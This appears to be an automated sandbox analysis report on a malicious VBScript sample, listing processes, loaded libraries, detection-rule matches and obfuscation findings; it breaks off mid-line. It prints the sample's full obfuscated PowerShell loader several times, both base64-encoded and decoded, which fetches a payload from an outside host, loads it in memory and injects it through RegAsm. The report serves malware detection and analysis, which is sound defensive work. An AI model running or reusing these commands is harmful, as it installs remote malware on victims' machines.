                Source: aK7smea2Vv.vbsInitial sample: Strings found which are bigger than 50
                Source: Process Memory Space: powershell.exe PID: 7472, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: Process Memory Space: powershell.exe PID: 7612, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: classification engineClassification label: mal100.troj.expl.evad.winVBS@6/6@1/2
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yc2gw1.wej.ps1Jump to behavior
                Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs"
                Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: aK7smea2Vv.vbsVirustotal: Detection: 9%
                Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxDJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"Jump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbG source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: dbpdbtem.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.pdbj source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbk source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbI/ source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1903308651.000002519101B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                VBScript performs obfuscated calls to suspicious functions
                Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("powershell -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKyd", "0", "false");
                Found suspicious powershell code related to unpacking or dynamic code loading
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
                Obfuscated command line found
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"Jump to behavior
                Suspicious powershell command line found
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 